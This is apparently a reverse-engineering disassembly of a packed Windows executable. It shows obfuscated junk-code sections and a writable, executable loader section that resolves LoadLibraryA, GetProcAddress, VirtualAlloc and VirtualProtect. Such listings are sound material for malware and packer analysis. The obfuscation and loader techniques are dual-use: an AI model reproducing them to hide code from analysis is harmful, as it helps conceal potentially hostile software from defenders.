		pop	ecx
		jbe	loc_60995F
		mov	bx, 1D5Dh


loc_60995F:				; CODE XREF: sub_609951+4j
		jb	loc_609967
		mov	bl, al


loc_609967:				; CODE XREF: sub_609951:loc_60995Fj
		adc	ecx, 97E5C0Ah
		mov	dx, di
		mov	dx, cx
		stc
		add	edx, 58833D9Bh
		jmp	loc_60998B
; ---------------------------------------------------------------------------
		align 10h
		dd 17916F98h, 0B4559372h
		db 4, 0F9h, 26h
; ---------------------------------------------------------------------------


loc_60998B:				; CODE XREF: sub_609951+29j
		pusha
		pusha
		mov	ebx, edi
		or	ah, 0F1h
		popa
		sbb	eax, 76CE4D6Ch
		popa
		pusha
		mov	ch, 72h
		adc	cx, 966Eh
		popa
		mov	ebx, 30DA60E2h
		jnb	loc_6099BD
		jmp	loc_6099BD
; ---------------------------------------------------------------------------
		db 67h
		dd 0EE6E4679h, 986D7434h
		db 0A2h
; ---------------------------------------------------------------------------


loc_6099BD:				; CODE XREF: sub_609951+57j
					; sub_609951+5Dj
		push	esi
		movsx	ebx, dx
		pop	edx
		jmp	loc_6099D4
; ---------------------------------------------------------------------------
		db 12h
		dd 0ED3F4923h, 0ECAC68B2h, 61148EBBh
; ---------------------------------------------------------------------------


loc_6099D4:				; CODE XREF: sub_609951+71j
		pusha
		push	esi
		mov	esi, 7559D0C9h
		pop	edx
		mov	eax, ebx
		popa
		jmp	loc_6099F7
; ---------------------------------------------------------------------------
		dd 2C38FDECh, 179745CDh, 0DCC0E028h, 5513411h
		db 9Bh,	0F5h, 89h
; ---------------------------------------------------------------------------


loc_6099F7:				; CODE XREF: sub_609951+8Ej
		mov	dx, bx
		and	cl, 0B8h
		mov	ax, 0BBF6h
		sbb	dl, 6Dh
		jmp	loc_609A1D
; ---------------------------------------------------------------------------
		db 85h,	0BAh, 3Dh
		dd 0F024283Bh, 5B5C7405h, 0DA97A265h, 65E62CBBh
		db 0Fh
; ---------------------------------------------------------------------------


loc_609A1D:				; CODE XREF: sub_609951+B3j
		jnp	loc_609A3E
		call	sub_609A37
		movsd
		les	ebx, ds:41683D29h
		sti
		jmp	far ptr	29D3h:6EE57C01h
sub_609951	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_609A37	proc near		; CODE XREF: sub_609951+D2p
		or	eax, 5774E587h
		pop	esi


loc_609A3E:				; CODE XREF: sub_609951:loc_609A1Dj
		and	dl, 14h
		jmp	loc_609A4C
; ---------------------------------------------------------------------------
		dw 7F30h
		dd 85D7E423h
; ---------------------------------------------------------------------------


loc_609A4C:				; CODE XREF: sub_609A37+Aj
		call	sub_609A61
		fbstp	tbyte ptr [ecx-1BD40505h]
		lahf
		cmp	eax, edx
		shl	ah, 1
		mov	ds:7AAA2B60h, al
sub_609A37	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_609A61	proc near		; CODE XREF: sub_609A37:loc_609A4Cp
		jmp	sub_609A79
sub_609A61	endp

; ---------------------------------------------------------------------------
		dw 0BAF3h
		dd 4CC0709Bh, 4EEA6669h, 5BF6103Eh, 5773CF67h
		db 0BCh

; =============== S U B	R O U T	I N E =======================================



sub_609A79	proc near		; CODE XREF: sub_609A61j
		pop	ebx
		mov	si, cx
		mov	cx, di
		movzx	eax, di
		js	loc_609A8A
		clc


loc_609A8A:				; CODE XREF: sub_609A79+Aj
		sub	dx, 5144h
		mov	ebx, edx
		clc
		jmp	loc_609A9E
; ---------------------------------------------------------------------------
		mov	cl, 20h
		mov	ecx, 0F6A116F1h


loc_609A9E:				; CODE XREF: sub_609A79+19j
		sbb	ch, 5Fh
		jmp	loc_609AAD
; ---------------------------------------------------------------------------
		dw 0E626h
		dd 2AC3E38Fh
		db 0D3h
; ---------------------------------------------------------------------------


loc_609AAD:				; CODE XREF: sub_609A79+28j
		and	ax, 3310h
		cld
		jo	loc_609ABF
		pusha
		push	edx
		pop	ecx
		push	ebx
		pop	ebx
		popa


loc_609ABF:				; CODE XREF: sub_609A79+3Aj
		add	eax, 271EAE9h
		call	near ptr loc_609ADC+2


loc_609ACA:				; CODE XREF: sub_609A79:loc_609ACAj
		jz	short loc_609ACA
		movsb
		sub	esi, esi
		mov	dl, 0C3h
		imul	esi, [ebx+esi],	-33h
		rcr	byte ptr [ecx+ebx*8+7Ah], cl
		xor	dl, 1Fh


loc_609ADC:				; CODE XREF: sub_609A79+4Cp
		sub	[eax+850F60h], bh
sub_609A79	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0
		dd 0CE816600h, 5B612E6Ah, 0CE8h, 0EA3EC800h, 0D5962F76h
		dd 9E3B5BEAh, 0FEB70F9Eh, 0C18B6658h, 0FE8h, 80185D00h
		dd 976CD27Dh, 721971F4h, 15695D55h, 5EF6B70Fh, 7E9h, 0EFE79400h
		dd 0F5B5E47h, 7E8F5h, 0BC910000h, 4607B67Dh, 830F57DCh
		dd 0
; ---------------------------------------------------------------------------
		pop	ebx
		pop	ebx
		movsx	eax, bx
		clc
		pusha
		mov	di, 913h
		mov	edx, ebx
		popa
		push	edi
		mov	al, 0CFh
		pop	ecx
		mov	edi, 2A1FD276h
		jnp	loc_609B5C
		movsx	edx, di


loc_609B5C:				; CODE XREF: .XComp0:00609B53j
		jno	loc_609B65
		or	dh, 2Bh


loc_609B65:				; CODE XREF: .XComp0:loc_609B5Cj
		sub	edi, 7C85BBD6h
		or	cx, 0E592h
		push	edi
		pop	edi
		jnz	loc_609B7D
		and	ax, 0A9C4h


loc_609B7D:				; CODE XREF: .XComp0:00609B72j
		mov	ch, 45h
		mov	dx, cx
		or	ebx, 76DB5598h
		movzx	ebx, di
		jmp	loc_609B96
; ---------------------------------------------------------------------------
		sub	cl, [ecx]
		pop	ds
		stc
		inc	dword ptr [ebx]


loc_609B96:				; CODE XREF: .XComp0:00609B8Bj
		jle	loc_609B9E
		mov	dh, 69h


loc_609B9E:				; CODE XREF: .XComp0:loc_609B96j
		mov	dx, cx
		jmp	loc_609BB5
; ---------------------------------------------------------------------------
		dw 6517h
		dd 0B5E1CCE6h, 8EF8CCAFh, 13872B7Bh
		db 0CAh
; ---------------------------------------------------------------------------


loc_609BB5:				; CODE XREF: .XComp0:00609BA1j
		mov	cx, si
		jmp	loc_609BCC
; ---------------------------------------------------------------------------
		db 65h,	6Bh, 0E6h
		dd 3F3210BAh, 4D512C1Ch, 0D0E18167h
; ---------------------------------------------------------------------------


loc_609BCC:				; CODE XREF: .XComp0:00609BB8j
		push	ebx
		pop	eax
		jmp	loc_609BE6
; ---------------------------------------------------------------------------
		db 37h
		dd 2D0A896Dh, 0B305F9C5h, 0CBA0B182h, 12BE5334h
; ---------------------------------------------------------------------------
		fchs


loc_609BE6:				; CODE XREF: .XComp0:00609BCEj
		stc
		mov	di, 4795h
		js	loc_609C02
		call	loc_609C01
		push	11B8D620h
		js	short loc_609C28
		bound	eax, [ebp-0Ah]
		inc	esi


loc_609C01:				; CODE XREF: .XComp0:00609BF1p
		pop	ebx


loc_609C02:				; CODE XREF: .XComp0:00609BEBj
		mov	si, 814Ah
		pusha
		mov	al, dl
		push	edi
		push	edi
		pop	edx
		pop	edx
		popa
		clc
		jnp	$+6
		jg	loc_609C1D
		mov	bl, 0BAh


loc_609C1D:				; CODE XREF: .XComp0:00609C15j
		pusha
		xor	al, 0E8h
		jle	loc_609C28
		clc


loc_609C28:				; CODE XREF: .XComp0:00609BFBj
					; .XComp0:00609C21j
		popa
		push	eax
		sbb	ah, 18h
		pop	edi
		jmp	loc_609C45
; ---------------------------------------------------------------------------
		db 52h
		dd 0BA9230EEh, 0A2FF5264h, 4C7A6B79h, 7B1FBB8Bh
		db 6Ah
; ---------------------------------------------------------------------------


loc_609C45:				; CODE XREF: .XComp0:00609C2Ej
		pusha
		mov	edi, edx
		clc
		popa
		mov	bh, 22h
		pusha
		mov	al, 44h
		jbe	loc_609C6C
		call	sub_609C6B
		dec	esp
; ---------------------------------------------------------------------------
		db 0C5h
		dd 0C5085EE2h, 0EC52CBD6h, 17CA55E1h
		db 0E5h, 97h, 0B7h

; =============== S U B	R O U T	I N E =======================================



sub_609C6B	proc near		; CODE XREF: .XComp0:00609C55p

; FUNCTION CHUNK AT 00609CCC SIZE 00000017 BYTES

		pop	edi


loc_609C6C:				; CODE XREF: .XComp0:00609C4Fj
		popa
		sbb	ecx, 40C7C2Bh
		pusha
		jmp	loc_609C89
; ---------------------------------------------------------------------------
		db 5Dh,	1Fh, 0EDh
		dd 27FD5592h, 569B5028h, 0E71C6802h
		db 0E7h
; ---------------------------------------------------------------------------


loc_609C89:				; CODE XREF: sub_609C6B+9j
		xor	edi, 6252211Ch
		popa
		jmp	loc_609CA1
; ---------------------------------------------------------------------------
		adc	ds:0AFEB768Eh, ecx
		and	bh, [edx]
		cmpsb
		or	al, 6Ch
		dec	ecx


loc_609CA1:				; CODE XREF: sub_609C6B+25j
		jmp	loc_609CB1
; ---------------------------------------------------------------------------
		dw 755Ah
; ---------------------------------------------------------------------------
		popa
		xor	ah, dh
		adc	edi, [ebx]
		xchg	eax, esi
		dec	ecx
		aam	0CFh


loc_609CB1:				; CODE XREF: sub_609C6B:loc_609CA1j
		mov	ax, 47D4h
		ja	loc_609CCC
		call	near ptr loc_609CC7+1
		push	eax
		sbb	al, 4Fh
		and	[edi-6Ch], dh
		dec	edx


loc_609CC7:				; CODE XREF: sub_609C6B+50p
		loop	loc_609CD8
sub_609C6B	endp ; sp-analysis failed

		mov	bh, 0F1h
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_609C6B


loc_609CCC:				; CODE XREF: sub_609C6B+4Aj
		and	esi, 11434A59h
		call	sub_609CE3
		pop	esp


loc_609CD8:				; CODE XREF: sub_609C6B:loc_609CC7j
		int	3		; Trap to Debugger
		pop	ss
		pop	es
		adc	ebp, ecx
		fcomp	dword ptr [edx-6CD8C1B1h]
; END OF FUNCTION CHUNK	FOR sub_609C6B

; =============== S U B	R O U T	I N E =======================================



sub_609CE3	proc near		; CODE XREF: sub_609C6B+67p
		call	sub_609CF0
		push	ebp
		mov	ah, 4
		stc
		db	26h
		xchg	eax, ebx
		mov	[eax], esp
sub_609CE3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_609CF0	proc near		; CODE XREF: sub_609CE3p
		movzx	edi, ax
		pop	edx
		pop	edi
		push	esi
		mov	dx, 5A5Ah
		pop	esi
		jb	loc_609D07
		or	edi, 7F568AFDh


loc_609D07:				; CODE XREF: sub_609CF0+Bj
		call	near ptr loc_609D12+1
		mov	ds:0D75BC68Fh, eax
		inc	edx


loc_609D12:				; CODE XREF: sub_609CF0:loc_609D07p
		xchg	dh, [ebp+10B45B04h]
sub_609CF0	endp ; sp-analysis failed

		push	esi
		push	esi
		mov	edx, 13A2B985h
		pop	edx
		pop	esi
		mov	bl, 4Eh
		movsx	esi, di
		or	edx, 69D07F25h
		xor	ax, 4A06h
		clc
		mov	dx, ax
		mov	edi, eax
		mov	al, 0DEh
		mov	edi, esi
		jmp	loc_609D46
; ---------------------------------------------------------------------------
		dd 7656E725h
		db 83h,	0B6h
; ---------------------------------------------------------------------------


loc_609D46:				; CODE XREF: .XComp0:00609D3Bj
		sbb	dx, 0AFD8h
		mov	di, 9F33h
		movsx	edi, ax
		push	eax
		mov	esi, edi
		pop	edi
		jmp	loc_609D65
; ---------------------------------------------------------------------------
		db 16h
		dd 8EBE17CDh, 0E59BD561h
; ---------------------------------------------------------------------------
		xchg	eax, ebx


loc_609D65:				; CODE XREF: .XComp0:00609D56j
		clc
		mov	bx, si
		mov	esi, 34677EB7h
		jl	loc_609D78
		mov	bx, 0BB59h


loc_609D78:				; CODE XREF: .XComp0:00609D6Ej
		mov	esi, edx
		jle	loc_609D8B
		jmp	loc_609D8B
; ---------------------------------------------------------------------------
		db 0F1h, 8Eh, 32h
		db 9Dh,	0C8h, 84h
; ---------------------------------------------------------------------------


loc_609D8B:				; CODE XREF: .XComp0:00609D7Aj
					; .XComp0:00609D80j
		cmc
		mov	si, ax
		cld
		jnp	$+6
		jmp	loc_609DAA
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E3548796h, 3A9D84F6h, 0B26D96B7h
		db 0E8h, 7Fh
; ---------------------------------------------------------------------------


loc_609DAA:				; CODE XREF: .XComp0:00609D96j
		movsx	edi, cx
		jp	loc_609DB9
		and	ebx, 7392F44Dh


loc_609DB9:				; CODE XREF: .XComp0:00609DADj
		or	edi, 5DF54642h
		cld
		cmc
		jmp	loc_609DD1
; ---------------------------------------------------------------------------
		dw 7E1Bh
; ---------------------------------------------------------------------------
		xor	edi, edi
		popf
		mov	bl, 9Ah
		enter	0FFFFA0ABh, 0C5h


loc_609DD1:				; CODE XREF: .XComp0:00609DC1j
		sbb	dx, 1888h
		and	bl, 0BAh
		xor	edi, 0D66C293h
		push	esi
		mov	di, 936Fh
		pop	ebx
		jnb	loc_609DF4
		ja	loc_609DF4
		add	bh, 0CEh


loc_609DF4:				; CODE XREF: .XComp0:00609DE5j
					; .XComp0:00609DEBj
		mov	eax, ebx
		push	ecx
		pop	eax
		adc	cx, 0FC4Eh
		pusha
		sub	ch, 9Eh
		popa
		mov	al, 50h
		or	dh, 99h
		mov	dh, 77h
		add	dx, 1169h
		jmp	loc_609E1E
; ---------------------------------------------------------------------------
		db 7Ah
		dd 0A36E7519h, 33712E7Bh
		db 0F8h, 0DFh
; ---------------------------------------------------------------------------


loc_609E1E:				; CODE XREF: .XComp0:00609E0Ej
		stc
		mov	edi, 2298F94Dh
		mov	ecx, edi
		or	edx, 1DA4E219h
		push	ebx
		jmp	loc_609E3D
; ---------------------------------------------------------------------------
		dw 51E2h
		dd 746F352Bh, 96FED67Eh
; ---------------------------------------------------------------------------
		xchg	eax, esi


loc_609E3D:				; CODE XREF: .XComp0:00609E2Dj
		pop	edi
		jmp	loc_609E55
; ---------------------------------------------------------------------------
		db 98h
		dd 1E71B3E2h, 0CF97A26h, 0A315FA9h, 69E82CE5h
		db 0CAh
; ---------------------------------------------------------------------------


loc_609E55:				; CODE XREF: .XComp0:00609E3Ej
		sub	si, 8D3Bh
		jmp	loc_609E65
; ---------------------------------------------------------------------------
		db 47h
		dd 0EE663530h
; ---------------------------------------------------------------------------
		cld


loc_609E65:				; CODE XREF: .XComp0:00609E5Aj
		push	esi
		add	ecx, 48D23B80h
		pop	ebx
		jb	loc_609E7B
		js	loc_609E7B
		push	esi
		pop	ecx


loc_609E7B:				; CODE XREF: .XComp0:00609E6Dj
					; .XComp0:00609E73j
		jmp	loc_609E89
; ---------------------------------------------------------------------------
		dd 0FF41841Ah, 0C7BA479Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_609EB5


loc_609E88:				; CODE XREF: sub_609EB5+51j
		xchg	eax, ecx


loc_609E89:				; CODE XREF: .XComp0:loc_609E7Bj
		pusha
		mov	bh, 24h
		popa
		sub	esi, 214AB8B5h
		mov	dl, 0BBh
		jle	loc_609E9E
		mov	si, cx


loc_609E9E:				; CODE XREF: sub_609EB5-20j
		call	sub_609EB5
		push	cs
		lock iret
; END OF FUNCTION CHUNK	FOR sub_609EB5
; ---------------------------------------------------------------------------
		dw 162h
		dd 20A6A684h, 806E4064h, 8F8E04F3h
; ---------------------------------------------------------------------------
		sti

; =============== S U B	R O U T	I N E =======================================



sub_609EB5	proc near		; CODE XREF: sub_609EB5:loc_609E9Ep

; FUNCTION CHUNK AT 00609E88 SIZE 0000001E BYTES

		movzx	eax, bx
		pop	edx
		mov	bl, 6Ah
		mov	ax, si
		stc
		adc	bx, 64FFh
		or	ecx, 7C5194F3h
		jmp	loc_609ED9
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0E672F01Bh, 1BA061D3h
		db 90h
; ---------------------------------------------------------------------------


loc_609ED9:				; CODE XREF: sub_609EB5+15j
		movsx	esi, bx
		xor	eax, 4A8A498Ch
		mov	eax, 0AA49E11h
		mov	di, 0B157h
		or	di, 0E399h
		mov	si, bx
		call	near ptr loc_609F06+1
		push	edx
		xor	ebp, gs:[ecx+ecx*4+4C3B910Bh]
		sbb	bl, [ecx+edi*8]
		dec	esi
		push	ebx


loc_609F06:				; CODE XREF: sub_609EB5+3Ep
		js	short loc_609E88
sub_609EB5	endp ; sp-analysis failed

		loopne	near ptr loc_609F0B+3
		pop	edx


loc_609F0B:				; CODE XREF: .XComp0:00609F08j
		jmp	loc_609F21
; ---------------------------------------------------------------------------
		dd 56DAA80Fh, 0E5C42D23h, 0C6653726h, 0DCB85B71h
		db 0E9h
; ---------------------------------------------------------------------------


loc_609F21:				; CODE XREF: .XComp0:loc_609F0Bj
		mov	ecx, 1ED1D257h
		and	cl, 52h
		and	ah, 20h
		sbb	eax, 2D131E12h
		jmp	loc_609F3E
; ---------------------------------------------------------------------------
		movsd
		mov	word ptr [edi+55h], es
		push	eax
		scasb
		das


loc_609F3E:				; CODE XREF: .XComp0:00609F32j
		sub	edi, 74AACAB9h
		or	dl, 55h
		jp	loc_609F66
		jmp	loc_609F66
; ---------------------------------------------------------------------------
		dw 0AFE5h
		dd 0EE229B7Ch, 0FC7EDAC0h, 3B888B8Bh, 70BE41B5h
		db 6Dh,	0DCh
; ---------------------------------------------------------------------------


loc_609F66:				; CODE XREF: .XComp0:00609F47j
					; .XComp0:00609F4Dj
		sub	eax, 54F4B117h
		cmc
		cmc
		jmp	loc_609F7F
; ---------------------------------------------------------------------------
		test	[edx+0D95CA43h], eax
		retf	243Fh
; ---------------------------------------------------------------------------
		db 29h,	76h, 0ECh
; ---------------------------------------------------------------------------


loc_609F7F:				; CODE XREF: .XComp0:00609F6Ej
		mov	ch, 0E7h
		jb	loc_609F89
		mov	ecx, eax


loc_609F89:				; CODE XREF: .XComp0:00609F81j
		adc	esi, 629D4F08h
		mov	bh, dh
		mov	cl, 7Eh
		jb	loc_609FA7
		jmp	loc_609FA7
; ---------------------------------------------------------------------------
		dw 34FEh
		dd 236542C4h
		db 8Ah,	0DEh, 76h
; ---------------------------------------------------------------------------


loc_609FA7:				; CODE XREF: .XComp0:00609F93j
					; .XComp0:00609F99j
		pusha
		sub	bl, 61h
		mov	ah, dl
		popa
		mov	dl, bl
		pusha
		mov	cx, bx
		mov	ch, bh
		popa
		mov	ecx, eax
		call	sub_609FCA
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		dd 303C2F7Ch, 0C01A6810h
; ---------------------------------------------------------------------------
		push	esi
		leave

; =============== S U B	R O U T	I N E =======================================



sub_609FCA	proc near		; CODE XREF: .XComp0:00609FB9p
		mov	dl, 0E7h
		pop	eax
		jb	loc_609FD4
		stc


loc_609FD4:				; CODE XREF: sub_609FCA+3j
		jmp	loc_609FDE
; ---------------------------------------------------------------------------
		db 99h,	0EDh, 5Ch
		db 0C2h, 5Bh
; ---------------------------------------------------------------------------


loc_609FDE:				; CODE XREF: sub_609FCA:loc_609FD4j
		cld
		push	esi
		cld
		pop	edx
		mov	edi, 1F884D61h
		xor	cx, 98E1h
		call	near ptr loc_609FF4+2
		xlat
		mov	cl, 63h


loc_609FF4:				; CODE XREF: sub_609FCA+22p
		cmovns	ebp, eax
sub_609FCA	endp ; sp-analysis failed

		add	eax, 0BE000000h
		jno	short near ptr loc_60A020+1


loc_609FFE:				; CODE XREF: .XComp0:0060A06Aj
		db	36h
		push	cs
		mov	edx, 7C43C6DAh
		pop	ecx
		pop	eax
		jl	loc_60A017
		jge	loc_60A017
		mov	bx, 8638h


loc_60A017:				; CODE XREF: .XComp0:0060A007j
					; .XComp0:0060A00Dj
		mov	ax, 25DAh
		call	sub_60A026


loc_60A020:				; CODE XREF: .XComp0:00609FFCj
		shr	al, cl
		lahf
		fbld	tbyte ptr [ebp+3Eh]

; =============== S U B	R O U T	I N E =======================================



sub_60A026	proc near		; CODE XREF: .XComp0:0060A01Bp
		mov	di, dx
		pop	ecx
		mov	bh, 35h
		sub	cx, 80A6h
		push	edi
		push	ebx
		movsx	esi, ax
		pop	ecx
		pop	eax
		movsx	edx, bx
		ja	$+6
		or	bx, 0DE26h
		call	near ptr loc_60A04F+3
		inc	esp
		push	ss
		jle	short $+2


loc_60A04F:				; CODE XREF: sub_60A026+20p
		adc	[eax+5BCAB2EFh], bl
sub_60A026	endp ; sp-analysis failed

		push	edx
		jz	near ptr loc_60A06D+2
		call	near ptr loc_60A06D+1
		dec	edx
		db	2Eh
		xchg	eax, edx
		pop	eax
		out	19h, al
		leave
		setalc
		daa
		jnp	short loc_609FFE
		inc	ebx


loc_60A06D:				; CODE XREF: .XComp0:0060A05Cp
					; .XComp0:0060A056j
		ficomp	dword ptr [edi+58h]
		jmp	loc_60A085
; ---------------------------------------------------------------------------
		cmp	al, 0Ch
		add	ah, 80h
		imul	edx, [edx], 0CB7E636Ah
		mov	edx, 4A9A6503h


loc_60A085:				; CODE XREF: .XComp0:0060A070j
		mov	dl, 0CBh
		movsx	ebx, cx
		push	ecx
		pop	ebx
		mov	ebx, 57060454h
		mov	ebx, 7C40B29Ah
		jnp	loc_60A0B2
		jmp	loc_60A0B2
; ---------------------------------------------------------------------------
		db 0Fh,	0E8h, 0B2h
		dd 0CD488595h, 0CAA0AA89h, 719F7AF4h
		db 52h,	2Ah
; ---------------------------------------------------------------------------


loc_60A0B2:				; CODE XREF: .XComp0:0060A096j
					; .XComp0:0060A09Cj
		jle	loc_60A0D1
		call	near ptr loc_60A0CB+3
		fdiv	st(5), st
		test	al, 0F8h
		cli
		mov	cl, [edi]
		xchg	eax, esi
		cmc
		db	26h
		inc	edi
		fistp	word ptr [ebp+7Bh]


loc_60A0CB:				; CODE XREF: .XComp0:0060A0B8p
		adc	ds:5F616097h, cl


loc_60A0D1:				; CODE XREF: .XComp0:loc_60A0B2j
		mov	si, 9C07h
		jmp	loc_60A0E4
; ---------------------------------------------------------------------------
		sub	al, 0D8h
		and	ecx, [edi+68CB9446h]
		dec	edi
		pushf


loc_60A0E4:				; CODE XREF: .XComp0:0060A0D5j
		jp	$+6
		jmp	loc_60A0FA
; ---------------------------------------------------------------------------
		db 0A0h
		dd 1106ABF6h, 936DF13Eh
		db 3Eh,	3
; ---------------------------------------------------------------------------


loc_60A0FA:				; CODE XREF: .XComp0:0060A0EAj
		pusha
		call	near ptr sub_60A107
		arpl	[esi], sp
		aad	0FAh
		inc	ebp
		push	ds
		push	edx

; =============== S U B	R O U T	I N E =======================================



sub_60A107	proc far		; CODE XREF: .XComp0:0060A0FBp

; FUNCTION CHUNK AT 0060A17E SIZE 00000002 BYTES

		mov	si, 57D2h
		pop	ebx
		jmp	loc_60A125
; ---------------------------------------------------------------------------
		retf	0E519h
; ---------------------------------------------------------------------------
		dd 1A88B479h, 0F55082E0h, 38F2A5B0h, 209E853Bh
		db 0ECh
; ---------------------------------------------------------------------------


loc_60A125:				; CODE XREF: sub_60A107+5j
		popa
		mov	edi, 7FD30C46h
		and	dh, 7Bh
		mov	di, 0F868h
		call	near ptr loc_60A143+3
		jp	short loc_60A17E
		sahf
		pusha
		pop	ss
		jnp	short nullsub_2
		push	cs
		outsd
		aaa
		in	al, 0EBh


loc_60A143:				; CODE XREF: sub_60A107+2Bp
		adc	eax, 0F5FDC33h
sub_60A107	endp ; sp-analysis failed

		mov	word ptr [eax],	ds
; ---------------------------------------------------------------------------
		dw 0
		dd 128D0F00h, 0E9000000h, 0Dh, 0A02996DBh, 62563BD3h
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0D7h
		dd 0B452FCBEh, 81F95839h, 171124F2h, 6EEA812Bh,	0BF29921Dh
		dd 2C8055F1h
		db 0Fh,	8Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60A107


loc_60A17E:				; CODE XREF: sub_60A107+30j
		add	eax, [eax]
; END OF FUNCTION CHUNK	FOR sub_60A107
; ---------------------------------------------------------------------------
		dd 8B660000h, 2FCA81D1h, 0B07BDCBDh, 0C1816052h, 21AD4C72h
		dd 0FFB70F61h, 0CE8h, 6A6B4900h, 0AF4A1B42h, 0FEBD05CBh
		dd 0FE833h, 0D24D0000h,	85AB8BDCh, 9C487E8Eh, 43DA4FF6h
		dd 5E6160A2h, 0C8D0F5Eh, 0F000000h, 68Ah, 830F00h, 0BB000000h
		dd 132BE9Ah, 0DE9h, 0C9F9F00h, 0D0F64717h, 6DD4B708h, 13E9C9F8h
		dd 77000000h, 82333372h, 97EF7731h, 97B5D9C1h, 0DBCF5F87h
		dd 8B665B1Fh, 6E9C7h, 0F6750000h, 0AE1FB36h, 13E8h, 0BFAEA000h
		dd 40D678F6h, 0D165A8E0h, 78392856h, 91B49083h,	57F0B966h
		dd 8B66605Eh, 61C38ACEh, 11E9h,	5D8A2000h, 9D7C59F8h, 0BD305FA2h
		dd 869FD9BBh, 7E99FC3h,	90000000h, 0E5FE170Dh, 0B70FAA98h
		dd 0F321BAFEh, 0F600D97h, 388h,	0D2BF0F00h, 0EE961h, 217D0000h
		dd 0AFAD7241h, 47EA49F4h, 0D22E8A13h, 68D0F60h,	0F000000h
		dd 80h,	0D6B70F00h, 0F5F88B61h,	8BC1BF0Fh, 0F08B66FBh
		dd 88C0Fh, 0F510000h, 84h, 0E0805800h, 178A0FEFh, 0E9000000h
		dd 12h,	0C2D31900h, 6C6E34F8h, 0E72E9913h, 79EC8A99h, 0BA6630CDh
		dd 860F064Ch, 0Ah, 4860Fh, 0BE660000h, 8A0F8E7Fh, 8, 2860Fh
		dd 0F4B40000h, 7E9h, 47E33300h,	44395C32h, 7E9h, 0B23FE800h
		dd 68583492h, 67B3BB66h, 1C3AADB8h, 81665114h, 5B44CCCFh
		dd 9E9h, 0C35E3F00h, 7739C177h,	0BE662B67h, 6660502Fh
		dd 1FAFF381h, 1CF4EB81h, 0F614CC2h, 8Ch, 0D181F900h, 63939F49h
		dd 0E9F3BF0Fh, 7, 0FD72F1DDh, 0FBF5B6Eh, 387h, 0DEB70F00h
		dd 10E9F5h, 0B60E0000h,	0FC63F092h, 23205BEh, 38684EACh
		dd 0AE99571h, 62000000h, 9E657Fh, 3B4A3F70h, 0FA9BB8Fh
		dd 11E87635h, 92000000h, 17F7426Eh, 83F80788h, 0F36EC510h
		dd 6E98D91Ah, 81665FF5h, 81CB7FF0h, 0EF07DDC8h,	0C7816041h
		dd 0CE3175Ch, 61D9B70Fh, 21DB81FCh, 8108421Ah, 0FA2E7BDBh
		dd 0AE97Eh, 0E7970000h,	0E3315638h, 40E9BCBDh, 7E852h
		dd 0F5570000h, 939EF62Dh, 0E0816661h, 58587855h, 8217B866h
		dd 6653C68Bh, 595D84B9h, 0CE8h,	1FD00300h, 171AE926h, 0B032B335h
		dd 118D0F38h, 0E9000000h, 0Ch, 90C004DDh, 0D3E35F8Bh, 0F22F124Ch
		dd 0B851605Fh, 46B86C1Fh, 61A0B658h, 0F83DD80h,	780h, 0C6B85300h
		dd 5E160B2Dh, 0FFB70F60h, 2890F61h, 8B000000h, 30B866D3h
		dd 0E1BA664Fh, 1AF180D7h, 2840F60h, 56000000h, 14E85Eh
		dd 30660000h, 29DCF81Ah, 131B317Eh, 3D71501Eh, 0C985FC60h
		dd 5E953CAh, 1F000000h,	81D7F066h, 7EBB615Eh, 0F6934DCh
		dd 168Dh, 10E800h, 2CCE0000h, 92EBDB8Bh, 120D6DD3h, 69DB7146h
		dd 0E9592D2Bh, 6, 6B14A879h, 93B1ED97h,	94C081F5h, 0E910246Ah
		dd 0Fh,	0B4A45B3Dh, 1780B235h, 0F50F3F9Bh, 0FD3E57D5h
		dd 3FEh	dup(0FDAB3861h), 0D3D4AD61h, 284h dup(0D3D4AD9Dh)
		dd 0E7D4AD9Dh, 9 dup(0E7BA08F1h), 63BA08F1h, 68h dup(63C66EC1h)
		dd 65h dup(8EECDB64h), 0E1322364h, 130h	dup(0E132237Fh)
		dd 98C5AB7Fh, 21Eh dup(98C5AB67h), 954h	dup(0CCCCCCCCh)
		dd 0CCCCCCh, 2D1h dup(0)
_XComp0		ends

; Section 2. (virtual address 00210000)
; Virtual size			: 000076A6 (  30374.)
; Section size in file		: 000076A6 (  30374.)
; Offset to raw	data for section: 00210000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_XComp		segment	para public 'CODE' use32
		assume cs:_XComp
		;org 610000h
		assume es:nothing, ss:nothing, ds:_XComp0, fs:nothing, gs:nothing
		dd 4EE01468h, 0E8609C00h, 675h,	210034h, 2 dup(0)
aL4:
		unicode	0, <L!4!>,0
		align 4
		dd 4 dup(0)
		dd 7C80ADA0h
dword_610038	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA		dd 7C809A51h, 7C809AE4h, 7C801AD0h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 64616F4Ch, 7262694Ch, 41797261h
		dd 56000000h, 75747269h, 6C416C61h, 636F6Ch, 69560000h
		dd 61757472h, 6572466Ch, 65h, 74726956h, 506C6175h, 65746F72h
		dd 5B007463h, 3B835Dh, 0C8850Fh, 89FC0000h, 0C4B8B1Bh
		dd 0D1FFC033h, 0E3104B8Bh, 0C0335152h, 3B147B8Dh, 3730447h
		dd 8304478Bh, 0F3E208C7h, 0C1CD805h, 68046A00h,	1000h
		dd 0FF006A50h, 908D3055h, 0C1CD8h, 59147B8Dh, 8B60378Bh
		dd 0FA8B044Fh, 5061A4F3h, 0EAE85652h, 83000000h, 0E8E208C7h
		dd 800068h, 50006A00h, 8B3455FFh, 0C38B0C4Bh, 738BD1FFh
		dd 74F68508h, 0C4E8B39h, 0FF5134E3h, 0C0852C55h, 3894F74h
